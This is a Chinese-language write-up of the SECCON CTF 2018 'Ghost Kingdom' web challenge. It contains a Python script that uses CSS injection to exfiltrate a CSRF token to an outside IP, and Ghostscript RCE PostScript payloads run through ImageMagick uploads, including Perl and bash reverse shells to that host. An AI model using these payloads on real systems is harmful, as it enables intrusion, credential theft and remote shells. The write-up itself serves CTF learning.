SECCONCTF2018-GhostKingdom

最近打了SECCON CTF2018,只有一道唯一的web题,质量挺不错,学到了新姿势。

Ghost Kingdom

题目介绍

先简单介绍一下题目,有注册、登录、message to admintake a screenshotupload image几个功能enter description hereenter description hereenter description here所有功能的实现都是以get请求的方式完成,upload image功能提示必须从localhost登录才能使用。take a screenshot功能是传入一个url,返回那个url的截屏。一开始,理所当然地以为是要XSS+SSRF之类的,毕竟有一个message to admin功能,后面才发现想错了。<>被实体编码了,会原封不动放到页面上,这里是无法进行XSS的,需要另想办法。

利用take a screenshot功能在localhost登录

前面说了,所有请求都是get请求,所以我们是可以通过这个功能的url去实现登录的,直接用127.0.0.1不行enter description here可以用0.0.0.0绕过,然后实现登录。

CSS注入

在进一步探索中,我们可以发现两个点。

  • message to admin页面,有一个preview的功能,可以发现它的参数有些奇怪,比如http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3Csadsa%3E&action=msgadm2这个css参数解码出来是span{background-color:red;color:yellow},与页面呈现出来的符合。查看源码可以看到它被嵌入到了代码中。enter description here
  • 源码中可以看到有一个hiddeninput,存了一个csrf的值,我们可以发现,这个值跟当前的cookie值是相同的。enter description here

综合这两点,可以用一个新姿势,也就是CSS注入。CSS注入的payload是这样的

1
2
3
4
input[value^="0"] {background: url(http://123.207.99.17/?csrf=0)}
input[value^="1"] {background: url(http://123.207.99.17/?csrf=1)}
input[value^="2"] {background: url(http://123.207.99.17/?csrf=2)}
etc...

用到了css的选择器的性质,符合不同的选择器就会向VPS发送不同的请求。根据这个,结合take a screenshot功能,我们就可以拿到用户在localhostcookie,然后使用upload image功能。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#encoding:utf-8
import requests,base64

headers={'Host': 'ghostkingdom.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://ghostkingdom.pwn.seccon.jp/?action=sshot',
'Connection': 'close',
'Cookie': 'CGISESSID=3bd2c1e04825a87e83633a',
'Upgrade-Insecure-Requests': '1'}
proxies={'http':'http://127.0.0.1:8080'}

def getBase64(s):
z = []
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
st = s+i
z.append('input[value^="{}"] {{background: url(http://123.207.99.17/?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))

def formatURL(s):
return "http://0.0.0.0/?css={}%%26action=msgadm2".format(s)


r=requests.get(url='http://ghostkingdom.pwn.seccon.jp/?url='+formatURL(getBase64(''))+'&action=sshot2',
headers=headers,timeout=2,proxies=proxies)

需要点时间,最后拿到了cookieenter description here

利用Ghostscript漏洞进行RCE

然后我们可以使用文件上传功能了,上传上去的文件,可以convert to gif formatenter description here随便传一个非图片的文件上去,会报错enter description here搜索报错信息,可以发现这里用的是一个叫ImageMagick的图片格式转换工具,进而可以搜到Ghostscript的远程代码执行漏洞.

Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件
ImageMagick无法直接实现pdf文档到图片的转换,需要借助于ghostscript软件包

这里可以找到ghostscriptRCE的POC
列目录的exp

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

然后,读flag

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

enter description here
perl可以反弹shell

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%perl -e 'use Socket;$i="123.207.99.17";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};') currentdevice putdeviceprops

bash也可以bash -c '/bin/bash -i >& /dev/tcp/123.207.99.17/2333 0>&1'enter description here

额外的发现

像前面那个CSS注入的方法,在chrome和在firefox中有一些不同,研究了我半天,终于破案了。直接上图
type=hidden:enter description herefirefox:enter description herechrome:enter description heretype=text:enter description herefirefox:enter description herechrome:enter description here其他标签的属性没有深究。